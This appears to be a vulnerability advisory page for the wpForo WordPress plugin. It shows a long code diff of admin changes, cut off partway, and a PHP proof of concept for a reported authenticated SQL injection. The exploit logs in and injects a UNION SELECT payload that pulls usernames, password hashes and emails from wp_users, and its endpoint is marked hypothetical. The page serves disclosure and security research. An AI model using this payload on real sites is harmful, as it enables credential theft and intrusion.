+			'description' => __( 'Upload and index custom knowledge files (JSON, Markdown, Text) to enhance AI responses with your expert documentation, FAQs, and specialized content. Perfect for product manuals, internal guides, and domain-specific knowledge bases.', 'wpforo' ),
+			'plan'        => 'business',
+			'preview'     => false,
+		],
+		'file_indexing' => [
+			'name'        => __( 'File Indexing (TXT, MD, JSON, PDF)', 'wpforo' ),
+			'description' => __( 'Index plain text, Markdown, JSON, and PDF files into the AI knowledge base for richer answers from custom documentation and reference material. Scanned PDFs are auto-OCR'd when the text layer is too sparse.', 'wpforo' ),
+			'plan'        => 'business',
+			'preview'     => false,
+		],
 		'developer_features'   => [
 			'name'        => __( 'Developer Features', 'wpforo' ),
 			'description' => __( 'Advanced developer tools and API access for custom integrations.', 'wpforo' ),
@@ -1433,6 +1445,8 @@
 		'wordpress_content_indexing' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z"/><path d="M14 2v4a2 2 0 0 0 2 2h4"/><path d="M10 9H8"/><path d="M16 13H8"/><path d="M16 17H8"/></svg>',
 		'custom_post_types_indexing' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="m12.83 2.18a2 2 0 0 0-1.66 0L2.6 6.08a1 1 0 0 0 0 1.83l8.58 3.91a2 2 0 0 0 1.66 0l8.58-3.9a1 1 0 0 0 0-1.83Z"/><path d="m22 17.65-9.17 4.16a2 2 0 0 1-1.66 0L2 17.65"/><path d="m22 12.65-9.17 4.16a2 2 0 0 1-1.66 0L2 12.65"/></svg>',
 		'woocommerce_products_indexing' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="8" cy="21" r="1"/><circle cx="19" cy="21" r="1"/><path d="M2.05 2.05h2l2.66 12.42a2 2 0 0 0 2 1.58h9.78a2 2 0 0 0 1.95-1.57l1.65-7.43H5.12"/></svg>',
+		'custom_knowledge_indexing' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M4 19.5v-15A2.5 2.5 0 0 1 6.5 2H19a1 1 0 0 1 1 1v18a1 1 0 0 1-1 1H6.5a1 1 0 0 1 0-5H20"/><path d="M8 11h8"/><path d="M8 7h6"/><circle cx="12" cy="15" r="1"/></svg>',
+		'file_indexing' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/><path d="M8 13h8"/><path d="M8 17h5"/></svg>',
 		// Enterprise Features
 		'developer_features' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="16 18 22 12 16 6"/><polyline points="8 6 2 12 8 18"/></svg>',
 		'rest_api_access' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M18 20V10"/><path d="M12 20V4"/><path d="M6 20v-6"/><circle cx="18" cy="7" r="3"/><circle cx="6" cy="11" r="3"/></svg>',
@@ -1969,6 +1983,20 @@
 					<td><span class="crossmark">✗</span></td>
 					<td><span class="crossmark">✗</span></td>
 					<td><span class="checkmark">✓</span></td>
+					<td><span class="checkmark">✓</span></td>
+				</tr>
+				<tr>
+					<td><strong><?php _e( 'Custom Knowledge Indexing', 'wpforo' ); ?></strong></td>
+					<td><span class="crossmark">✗</span></td>
+					<td><span class="crossmark">✗</span></td>
+					<td><span class="checkmark">✓</span></td>
+					<td><span class="checkmark">✓</span></td>
+				</tr>
+				<tr class="feature-item">
+					<td><?php _e( 'File Indexing (TXT, MD, JSON, PDF)', 'wpforo' ); ?></td>
+					<td><span class="crossmark">✗</span></td>
+					<td><span class="crossmark">✗</span></td>
+					<td><span class="checkmark">✓</span></td>
 					<td><span class="checkmark">✓</span></td>
 				</tr>

--- a/wpforo/admin/pages/tabs/ai-features-tab-rag-indexing.php
+++ b/wpforo/admin/pages/tabs/ai-features-tab-rag-indexing.php
@@ -433,52 +433,15 @@
 					</div>


-                    <?php
-                    // Get indexing status breakdown
-                    $status_breakdown = $storage_manager->get_indexing_status_breakdown();
-                    $has_excluded_topics = ( $status_breakdown['private'] > 0 || $status_breakdown['unapproved'] > 0 );
-                    ?>
-                    <?php if ( $has_excluded_topics ) : ?>
-                        <div class="wpforo-ai-indexing-breakdown">
-                            <details class="wpforo-ai-breakdown-details">
-                                <summary class="wpforo-ai-breakdown-summary">
-                                    <span class="dashicons dashicons-info-outline"></span>
-                                    <?php
-                                    $excluded_count = $status_breakdown['private'] + $status_breakdown['unapproved'];
-                                    printf(
-                                            __( '%s topics are excluded from indexing', 'wpforo' ),
-                                            '<strong>' . number_format( $excluded_count ) . '</strong>'
-                                    );
-                                    ?>
-                                    <span class="dashicons dashicons-arrow-down-alt2 wpforo-ai-breakdown-arrow"></span>
-                                </summary>
-                                <div class="wpforo-ai-breakdown-content">
-                                    <p class="wpforo-ai-breakdown-intro">
-                                        <?php _e( 'The following topics are automatically excluded from AI indexing:', 'wpforo' ); ?>
-                                    </p>
-                                    <ul class="wpforo-ai-breakdown-list">
-                                        <?php if ( $status_breakdown['private'] > 0 ) : ?>
-                                            <li>
-                                                <span class="dashicons dashicons-lock"></span>
-                                                <strong><?php echo number_format( $status_breakdown['private'] ); ?></strong>
-                                                <?php _e( 'private topics - these are only visible to their authors', 'wpforo' ); ?>
-                                            </li>
-                                        <?php endif; ?>
-                                        <?php if ( $status_breakdown['unapproved'] > 0 ) : ?>
-                                            <li>
-                                                <span class="dashicons dashicons-clock"></span>
-                                                <strong><?php echo number_format( $status_breakdown['unapproved'] ); ?></strong>
-                                                <?php _e( 'unapproved topics - these will be indexed once approved by moderators', 'wpforo' ); ?>
-                                            </li>
-                                        <?php endif; ?>
-                                    </ul>
-                                    <p class="wpforo-ai-breakdown-note">
-                                        <em><?php _e( 'Private topics are never indexed to protect user privacy. Unapproved topics will be automatically indexed when approved.', 'wpforo' ); ?></em>
-                                    </p>
-                                </div>
-                            </details>
-                        </div>
-                    <?php endif; ?>
+                    <!-- Indexing breakdown loaded via AJAX (cached 1 day) -->
+                    <div id="wpforo-ai-indexing-breakdown-container"
+                         data-loading-text="<?php esc_attr_e( 'Loading...', 'wpforo' ); ?>"
+                         data-excluded-text="<?php esc_attr_e( '%s topics are excluded from indexing', 'wpforo' ); ?>"
+                         data-intro-text="<?php esc_attr_e( 'The following topics are automatically excluded from AI indexing:', 'wpforo' ); ?>"
+                         data-private-text="<?php esc_attr_e( 'private topics - these are only visible to their authors', 'wpforo' ); ?>"
+                         data-unapproved-text="<?php esc_attr_e( 'unapproved topics - these will be indexed once approved by moderators', 'wpforo' ); ?>"
+                         data-note-text="<?php esc_attr_e( 'Private topics are never indexed to protect user privacy. Unapproved topics will be automatically indexed when approved.', 'wpforo' ); ?>">
+                    </div>
 				</div>

 				<div class="wpforo-ai-section-divider">
--- a/wpforo/admin/pages/tools.php
+++ b/wpforo/admin/pages/tools.php
@@ -7,9 +7,11 @@
     <div id="icon-users" class="icon32"><br></div>
 	<?php
 	$tabs = [
-		'debug'     => __( 'Debug', 'wpforo' ),
-		'tables'    => __( 'Database Tables', 'wpforo' ),
-		'misc'      => __( 'Admin Note', 'wpforo' )
+		'debug'       => __( 'Debug', 'wpforo' ),
+		'tables'      => __( 'Database Tables', 'wpforo' ),
+		'misc'        => __( 'Admin Note', 'wpforo' ),
+        'email_queue' => __( 'Email Queue', 'wpforo' ),
+		'cron_jobs'   => __( 'Cron Jobs', 'wpforo' ),
 	];
 	wpforo_admin_tools_tabs( $tabs, ( isset( $_GET['tab'] ) ? $_GET['tab'] : 'debug' ) );
 	?>
@@ -24,6 +26,12 @@
 				case 'tables':
 					$includefile = WPFORO_DIR . '/admin/tools-tabs/tables.php';
 				break;
+				case 'email_queue':
+					$includefile = WPFORO_DIR . '/admin/tools-tabs/email-queue.php';
+				break;
+				case 'cron_jobs':
+					$includefile = WPFORO_DIR . '/admin/tools-tabs/cron-jobs.php';
+				break;
 			}
 		}
 		include_once( $includefile );
--- a/wpforo/admin/pages/usergroup.php
+++ b/wpforo/admin/pages/usergroup.php
@@ -34,7 +34,7 @@
                         </th>
 					<?php endif; ?>
                     <th scope="col" id="title" class="manage-column column-title" style="padding:10px; font-size:14px; padding-left:15px; font-weight:bold;"><span><?php _e( 'Usergroup', 'wpforo' ) ?>  <a
-                                    href="https://wpforo.com/docs/wpforo-v2/members/usergroups-and-permissions/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank"
+                                    href="https://wpforo.com/docs/wpforo-v3/members/usergroups-and-permissions/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank"
                                     style="font-size: 14px;"><i class="far fa-question-circle"></i></a></span></th>
                     <th scope="col" id="count" class="manage-column column-title" style="padding:10px; font-size:14px; padding-left:15px; font-weight:bold;"><span><?php _e(
 								'Members',
@@ -402,7 +402,7 @@
                             <div class="wpf-label-big">
 								<?php _e( 'Usergroup Name', 'wpforo' );
 								if( $group['groupid'] === 4 ) echo '<span>: ' . __( 'Guest', 'wpforo' ) . '</span>'; ?>
-                                 <a href="https://wpforo.com/docs/wpforo-v2/members/usergroups-and-permissions/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank"
+                                 <a href="https://wpforo.com/docs/wpforo-v3/members/usergroups-and-permissions/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank"
                                          style="font-size: 14px;"><i class="far fa-question-circle"></i></a><br>
                             </div>
                             <input name="usergroup[name]" <?php echo $group['groupid'] === 4 ? 'type="hidden"' : 'type="text"'; ?> value="<?php echo esc_attr( $group['name'] ) ?>" required
--- a/wpforo/admin/settings/board.php
+++ b/wpforo/admin/settings/board.php
@@ -13,7 +13,7 @@
 <div class="wpf-subtitle">
     <span class="dashicons dashicons-admin-links"></span> <?php _e( 'Permalinks', 'wpforo' ) ?>
     <div class="wpf-opt-doc" style="float: right; font-size: 16px; margin-right: -8px;">
-        <a href="https://wpforo.com/docs/wpforo-v2/settings/board-settings/#permalinks" title="<?php _e('Read the documentation', 'wpforo') ?>" target="_blank"><i class="far fa-question-circle"></i></a>
+        <a href="https://wpforo.com/docs/wpforo-v3/settings/board-settings/#permalinks" title="<?php _e('Read the documentation', 'wpforo') ?>" target="_blank"><i class="far fa-question-circle"></i></a>
     </div>
 </div>

--- a/wpforo/admin/settings/email.php
+++ b/wpforo/admin/settings/email.php
@@ -9,6 +9,7 @@
 WPF()->settings->form_field( 'email', 'admin_emails' );
 WPF()->settings->form_field( 'email', 'new_topic_notify' );
 WPF()->settings->form_field( 'email', 'new_reply_notify' );
+WPF()->settings->form_field( 'email', 'async_notifications' );
 ?>

 <div class="wpf-subtitle">
--- a/wpforo/admin/settings/general.php
+++ b/wpforo/admin/settings/general.php
@@ -21,7 +21,7 @@
     <div class="wpf-subtitle">
         <span class="dashicons dashicons-admin-links"></span> <?php _e( 'Permalinks', 'wpforo' ) ?>
         <div class="wpf-opt-doc" style="float: right; font-size: 16px; margin-right: -8px;">
-            <a href="https://wpforo.com/docs/wpforo-v2/settings/general-settings/#permalinks" title="<?php _e('Read the documentation', 'wpforo') ?>" target="_blank"><i class="far fa-question-circle"></i></a>
+            <a href="https://wpforo.com/docs/wpforo-v3/settings/general-settings/#permalinks" title="<?php _e('Read the documentation', 'wpforo') ?>" target="_blank"><i class="far fa-question-circle"></i></a>
         </div>
     </div>

--- a/wpforo/admin/settings/legal.php
+++ b/wpforo/admin/settings/legal.php
@@ -10,7 +10,7 @@
             </svg>
             <div>
                 <h3 style="font-weight:600; padding:0 0 5px 0; margin:0; color:#666666; font-size: 18px;">
-					<?php _e( 'Forum Privacy Policy and GDPR compliant', 'wpforo' ) ?>  |  <a href="https://wpforo.com/docs/wpforo-v2/gdpr/" rel="noreferrer"
+					<?php _e( 'Forum Privacy Policy and GDPR compliant', 'wpforo' ) ?>  |  <a href="https://wpforo.com/docs/wpforo-v3/gdpr/" rel="noreferrer"
                                                                                                         style="text-decoration: none; font-weight: normal;" target="_blank"><?php _e(
 							'Documentation',
 							'wpforo'
--- a/wpforo/admin/settings/styles.php
+++ b/wpforo/admin/settings/styles.php
@@ -9,7 +9,7 @@
 $colorids = apply_filters( 'wpforo_manageable_colorids', [ 1, 3, 9, 11, 12, 14, 15, 18 ] );
 ?>

-<h3 style="margin:20px 0 0; padding:10px 0; border-bottom:3px solid #F5F5F5; font-size: 15px;" data-wpf-opt="style"><?php _e( 'Forum Styles', 'wpforo' ); ?>  <a href="https://wpforo.com/docs/wpforo-v2/wpforo-settings/style-settings/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank" style="font-size: 14px;"><i class="far fa-question-circle"></i></a>  |  <a href="https://wpforo.com/docs/wpforo-v2/forum-themes/theme-styles/" target="_blank"
+<h3 style="margin:20px 0 0; padding:10px 0; border-bottom:3px solid #F5F5F5; font-size: 15px;" data-wpf-opt="style"><?php _e( 'Forum Styles', 'wpforo' ); ?>  <a href="https://wpforo.com/docs/wpforo-v3/wpforo-settings/style-settings/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank" style="font-size: 14px;"><i class="far fa-question-circle"></i></a>  |  <a href="https://wpforo.com/docs/wpforo-v3/forum-themes/theme-styles/" target="_blank"
                                                                                                                                                                                                                                                                                                                                                                                                          style="font-size:13px; text-decoration:none;"><?php _e( 'Colors Documentation', 'wpforo' ); ?> »</a>
 </h3>
 <table style="width:95%; border:none; padding:5px; margin-left:10px; margin-top:15px;">
--- a/wpforo/admin/tools-tabs/cron-jobs.php
+++ b/wpforo/admin/tools-tabs/cron-jobs.php
@@ -0,0 +1,635 @@
+<?php
+/**
+ * wpForo Tools — Cron Jobs tab
+ *
+ * Lists every WP-Cron event registered in this WordPress install with
+ * wpForo events ordered first. Each row exposes Run Now and Delete
+ * buttons. Helps diagnose `wp_options.cron` bloat and verify whether
+ * AI / Email Queue / other wpForo crons are scheduled correctly.
+ */
+
+// Exit if accessed directly
+if ( ! defined( 'ABSPATH' ) ) exit;
+if ( ! current_user_can( 'administrator' ) ) exit;
+
+$wpf_cron_nonce_action = 'wpforo_cron_jobs';
+
+// -----------------------------------------------------------------------
+// POST handler — run / delete / run-all-wpforo
+// Tools page emits HTML before including this tab file, so a redirect
+// here would land after "headers already sent". We process inline,
+// add notices via WPF()->notice, and fall through to render — matching
+// the existing Email Queue tab pattern. Actions are idempotent
+// enough (re-running a cron just fires it again; re-deleting is a
+// silent no-op) that a browser refresh re-submitting is safe.
+// -----------------------------------------------------------------------
+if (
+	'POST' === ( $_SERVER['REQUEST_METHOD'] ?? '' )
+	&& isset( $_POST['wpforo_cron_action'] )
+	&& wp_verify_nonce( wpfval( $_POST, '_wpnonce' ), $wpf_cron_nonce_action )
+) {
+	$action    = sanitize_text_field( wp_unslash( $_POST['wpforo_cron_action'] ) );
+	$timestamp = absint( wpfval( $_POST, 'timestamp' ) );
+	$hook      = sanitize_text_field( wpfval( $_POST, 'hook' ) );
+	$md5       = sanitize_text_field( wpfval( $_POST, 'md5' ) );
+
+	$events = function_exists( '_get_cron_array' ) ? _get_cron_array() : [];
+	if ( ! is_array( $events ) ) $events = [];
+
+	switch ( $action ) {
+
+		case 'run':
+			if ( $timestamp && $hook && $md5 && isset( $events[ $timestamp ][ $hook ][ $md5 ] ) ) {
+				$entry    = $events[ $timestamp ][ $hook ][ $md5 ];
+				$args     = isset( $entry['args'] ) ? (array) $entry['args'] : [];
+				$schedule = $entry['schedule'] ?? false;
+
+				// For single events: unschedule before firing so the queued one
+				// doesn't run a second time. For recurring events: leave the
+				// schedule alone — the regular cadence resumes after we fire.
+				if ( false === $schedule ) {
+					wp_unschedule_event( $timestamp, $hook, $args );
+				}
+
+				try {
+					do_action_ref_array( $hook, $args );
+					WPF()->notice->add(
+						sprintf(
+							/* translators: %s = cron hook name */
+							__( 'Cron event "%s" executed.', 'wpforo' ),
+							$hook
+						),
+						'success'
+					);
+				} catch ( Throwable $e ) {
+					WPF()->notice->add(
+						sprintf(
+							/* translators: 1: hook name, 2: error message */
+							__( 'Cron event "%1$s" raised an exception: %2$s', 'wpforo' ),
+							$hook,
+							$e->getMessage()
+						),
+						'error'
+					);
+				}
+			} else {
+				WPF()->notice->add(
+					__( 'Cron event no longer exists (likely already executed or rescheduled).', 'wpforo' ),
+					'warning'
+				);
+			}
+			break;
+
+		case 'delete':
+			if ( $timestamp && $hook && $md5 && isset( $events[ $timestamp ][ $hook ][ $md5 ] ) ) {
+				$args     = (array) ( $events[ $timestamp ][ $hook ][ $md5 ]['args'] ?? [] );
+				$schedule = $events[ $timestamp ][ $hook ][ $md5 ]['schedule'] ?? false;
+
+				wp_unschedule_event( $timestamp, $hook, $args );
+
+				// Recurring event: also clear any future occurrences with the
+				// same args so the row truly goes away from the listing.
+				if ( false !== $schedule ) {
+					wp_clear_scheduled_hook( $hook, $args );
+				}
+
+				WPF()->notice->add(
+					sprintf(
+						/* translators: %s = cron hook name */
+						__( 'Cron event "%s" deleted.', 'wpforo' ),
+						$hook
+					),
+					'success'
+				);
+			}
+			break;
+
+		case 'run_all_wpforo':
+			$ran = 0;
+			foreach ( $events as $ts => $hooks ) {
+				if ( ! is_array( $hooks ) ) continue;
+				foreach ( $hooks as $h => $items ) {
+					if ( strpos( $h, 'wpforo_' ) !== 0 ) continue;
+					if ( ! is_array( $items ) ) continue;
+					foreach ( $items as $item ) {
+						$args     = isset( $item['args'] ) ? (array) $item['args'] : [];
+						$schedule = $item['schedule'] ?? false;
+						if ( false === $schedule ) {
+							wp_unschedule_event( $ts, $h, $args );
+						}
+						try {
+							do_action_ref_array( $h, $args );
+							$ran++;
+						} catch ( Throwable $e ) {
+							WPF()->notice->add(
+								sprintf(
+									/* translators: 1: hook name, 2: error message */
+									__( 'Cron event "%1$s" raised an exception: %2$s', 'wpforo' ),
+									$h,
+									$e->getMessage()
+								),
+								'error'
+							);
+						}
+					}
+				}
+			}
+			WPF()->notice->add(
+				sprintf(
+					/* translators: %d = number of cron events executed */
+					_n( '%d wpForo cron event executed.', '%d wpForo cron events executed.', $ran, 'wpforo' ),
+					$ran
+				),
+				'success'
+			);
+			break;
+	}
+}
+
+// -----------------------------------------------------------------------
+// Load + normalize + sort cron events
+// -----------------------------------------------------------------------
+$cron_array = function_exists( '_get_cron_array' ) ? _get_cron_array() : [];
+if ( ! is_array( $cron_array ) ) $cron_array = [];
+
+$rows         = [];
+$wpforo_count = 0;
+
+foreach ( $cron_array as $timestamp => $hooks ) {
+	if ( ! is_array( $hooks ) ) continue;
+	foreach ( $hooks as $hook => $items ) {
+		if ( ! is_array( $items ) ) continue;
+		foreach ( $items as $md5 => $entry ) {
+			$is_wpforo = ( strpos( $hook, 'wpforo_' ) === 0 );
+			if ( $is_wpforo ) $wpforo_count++;
+			$rows[] = [
+				'timestamp' => (int) $timestamp,
+				'hook'      => (string) $hook,
+				'md5'       => (string) $md5,
+				'args'      => isset( $entry['args'] ) ? (array) $entry['args'] : [],
+				'schedule'  => $entry['schedule'] ?? false,
+				'interval'  => isset( $entry['interval'] ) ? (int) $entry['interval'] : 0,
+				'is_wpforo' => $is_wpforo,
+			];
+		}
+	}
+}
+
+// Sort: wpForo first (alphabetical by hook then by timestamp), then everything
+// else by next-run time.
+usort( $rows, function ( $a, $b ) {
+	if ( $a['is_wpforo'] !== $b['is_wpforo'] ) return $a['is_wpforo'] ? -1 : 1;
+	if ( $a['is_wpforo'] ) {
+		$h = strcmp( $a['hook'], $b['hook'] );
+		if ( $h !== 0 ) return $h;
+		return $a['timestamp'] <=> $b['timestamp'];
+	}
+	return $a['timestamp'] <=> $b['timestamp'];
+} );
+
+$now           = time();
+$total_count   = count( $rows );
+$cron_disabled = defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON;
+$cron_alt      = defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON;
+$schedules     = function_exists( 'wp_get_schedules' ) ? wp_get_schedules() : [];
+
+// Pretty-print interval helper
+$wpf_fmt_interval = function ( $seconds ) {
+	$seconds = (int) $seconds;
+	if ( $seconds <= 0 ) return '—';
+	if ( $seconds < HOUR_IN_SECONDS ) {
+		$n = max( 1, (int) round( $seconds / MINUTE_IN_SECONDS ) );
+		/* translators: %d is the number of minutes */
+		return sprintf( _n( 'every %d minute', 'every %d minutes', $n, 'wpforo' ), $n );
+	}
+	if ( $seconds < DAY_IN_SECONDS ) {
+		$n = max( 1, (int) round( $seconds / HOUR_IN_SECONDS ) );
+		/* translators: %d is the number of hours */
+		return sprintf( _n( 'every %d hour', 'every %d hours', $n, 'wpforo' ), $n );
+	}
+	if ( $seconds < WEEK_IN_SECONDS ) {
+		$n = max( 1, (int) round( $seconds / DAY_IN_SECONDS ) );
+		/* translators: %d is the number of days */
+		return sprintf( _n( 'every %d day', 'every %d days', $n, 'wpforo' ), $n );
+	}
+	$n = max( 1, (int) round( $seconds / WEEK_IN_SECONDS ) );
+	/* translators: %d is the number of weeks */
+	return sprintf( _n( 'every %d week', 'every %d weeks', $n, 'wpforo' ), $n );
+};
+
+// Pretty-print relative time helper
+$wpf_fmt_when = function ( $ts ) use ( $now ) {
+	$diff = $ts - $now;
+	if ( $diff < 0 )                 return '<span style="color:#dc3232;font-weight:600;">' . esc_html__( 'past due', 'wpforo' ) . '</span>';
+	if ( $diff < MINUTE_IN_SECONDS ) return esc_html__( 'in <1 min', 'wpforo' );
+	if ( $diff < HOUR_IN_SECONDS ) {
+		$n = (int) round( $diff / MINUTE_IN_SECONDS );
+		/* translators: %d is the number of minutes — matches wpforo_ai_format_next_run_time() in ai-features-helpers.php */
+		return esc_html( sprintf( _n( 'in %d min', 'in %d mins', $n, 'wpforo' ), $n ) );
+	}
+	if ( $diff < DAY_IN_SECONDS ) {
+		$n = (int) round( $diff / HOUR_IN_SECONDS );
+		/* translators: %d is the number of hours */
+		return esc_html( sprintf( _n( 'in %d hour', 'in %d hours', $n, 'wpforo' ), $n ) );
+	}
+	$n = (int) round( $diff / DAY_IN_SECONDS );
+	/* translators: %d is the number of days */
+	return esc_html( sprintf( _n( 'in %d day', 'in %d days', $n, 'wpforo' ), $n ) );
+};
+?>
+
+<style>
+.wpf-cron-summary {
+	display: flex;
+	gap: 15px;
+	margin: 15px 0;
+	flex-wrap: wrap;
+	align-items: center;
+}
+.wpf-cron-summary .wpf-cron-counter {
+	background: #fff;
+	border: 1px solid #ccd0d4;
+	border-radius: 4px;
+	padding: 8px 18px;
+	font-size: 13px;
+}
+.wpf-cron-summary .wpf-cron-counter strong { font-size: 18px; color: #1d2327; }
+.wpf-cron-summary .wpf-cron-counter.wpforo strong { color: #0073aa; }
+
+.wpf-cron-banner {
+	padding: 10px 15px;
+	border-radius: 4px;
+	margin: 10px 0;
+}
+.wpf-cron-banner.warning { background: #fff3cd; border: 1px solid #ffc107; color: #856404; }
+.wpf-cron-banner.ok      { background: #d4edda; border: 1px solid #c3e6cb; color: #155724; }
+
+.wpf-cron-table { width: 100%; border-collapse: collapse; background: #fff; border: 1px solid #ccd0d4; }
+.wpf-cron-table th, .wpf-cron-table td { padding: 9px 12px; text-align: left; border-bottom: 1px solid #eee; vertical-align: top; font-size: 13px; }
+.wpf-cron-table th { background: #f6f7f7; font-weight: 600; }
+.wpf-cron-table tr.wpforo-row td { background: #f6fbff; }
+.wpf-cron-table tr:hover td { background: #f0f6fc; }
+
+.wpf-cron-hook { font-family: Consolas, Monaco, monospace; word-break: break-all; }
+.wpf-cron-hook .wpf-cron-badge { background: #0073aa; color: #fff; font-size: 10px; padding: 2px 6px; border-radius: 3px; margin-right: 6px; font-family: -apple-system, sans-serif; font-weight: 600; vertical-align: middle; }
+
+.wpf-cron-row-actions { display: inline-flex; gap: 6px; flex-wrap: wrap; }
+.wpf-cron-row-actions form { margin: 0; display: inline-block; }
+.wpf-cron-row-actions .button { font-size: 11px; height: auto; padding: 3px 9px; line-height: 1.4; }
+.wpf-cron-row-actions .button.delete { color: #b32d2e; border-color: #b32d2e; }
+.wpf-cron-row-actions .button.delete:hover { background: #b32d2e; color: #fff; }
+.wpf-cron-row-actions .button.details { color: #2271b1; border-color: #2271b1; }
+.wpf-cron-row-actions .button.details:hover { background: #2271b1; color: #fff; }
+
+/* Details modal */
+.wpf-cron-modal-overlay {
+	display: none;
+	position: fixed;
+	inset: 0;
+	background: rgba(0,0,0,0.55);
+	z-index: 99999;
+	align-items: flex-start;
+	justify-content: center;
+	overflow-y: auto;
+	padding: 60px 20px;
+}
+.wpf-cron-modal-overlay.is-open { display: flex; }
+.wpf-cron-modal {
+	background: #fff;
+	border-radius: 6px;
+	max-width: 720px;
+	width: 100%;
+	box-shadow: 0 12px 32px rgba(0,0,0,0.25);
+	max-height: calc(100vh - 120px);
+	display: flex;
+	flex-direction: column;
+}
+.wpf-cron-modal-header {
+	display: flex;
+	align-items: center;
+	justify-content: space-between;
+	padding: 14px 18px;
+	border-bottom: 1px solid #e5e5e5;
+}
+.wpf-cron-modal-header h3 { margin: 0; font-size: 16px; }
+.wpf-cron-modal-close {
+	background: transparent;
+	border: 0;
+	font-size: 22px;
+	line-height: 1;
+	cursor: pointer;
+	color: #555;
+	padding: 4px 8px;
+}
+.wpf-cron-modal-close:hover { color: #000; }
+.wpf-cron-modal-body { padding: 16px 18px; overflow-y: auto; }
+.wpf-cron-modal-body dl { margin: 0; }
+.wpf-cron-modal-body dt {
+	font-weight: 600;
+	color: #1d2327;
+	margin-top: 12px;
+	margin-bottom: 4px;
+	font-size: 12px;
+	text-transform: uppercase;
+	letter-spacing: 0.04em;
+}
+.wpf-cron-modal-body dt:first-child { margin-top: 0; }
+.wpf-cron-modal-body dd { margin: 0;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57636 - wpForo Forum <= 3.0.9 - Authenticated SQL Injection

/**
 * PoC: Exploit SQL injection in wpForo Forum plugin
 * Requires a valid Contributor+ account and the target URL.
 */

// Configuration
$target_url = 'http://example.com';  // Change to target site URL
$username   = 'attacker';            // WordPress user with Contributor+ role
$password   = 'attacker_password';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => '',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Identify the vulnerable AJAX endpoint and action
// The vulnerability is in the AI tools feature; a likely handle is 'wpforo_ai_save_knowledge_settings' or similar
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$action   = 'wpforo_ai_save_knowledge_settings'; // Hypothetical, adjust if needed

// Step 3: Craft malicious SQL payload in parameter 'search_priority[]'
// Example: break out of array and inject UNION SELECT
$malicious_payload = "0') UNION SELECT user_login,user_pass,user_email FROM wp_users WHERE id=1 -- ";

$data = [
    'action'        => $action,
    'board_id'      => '0',
    'enabled'       => '1',
    'search_priority[0]' => $malicious_payload,
    'search_priority[1]' => 'forum',
    'search_priority[2]' => 'wordpress'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
if (curl_error($ch)) {
    die('cURL error: ' . curl_error($ch));
}
curl_close($ch);

echo "Response:n";
print_r($response);

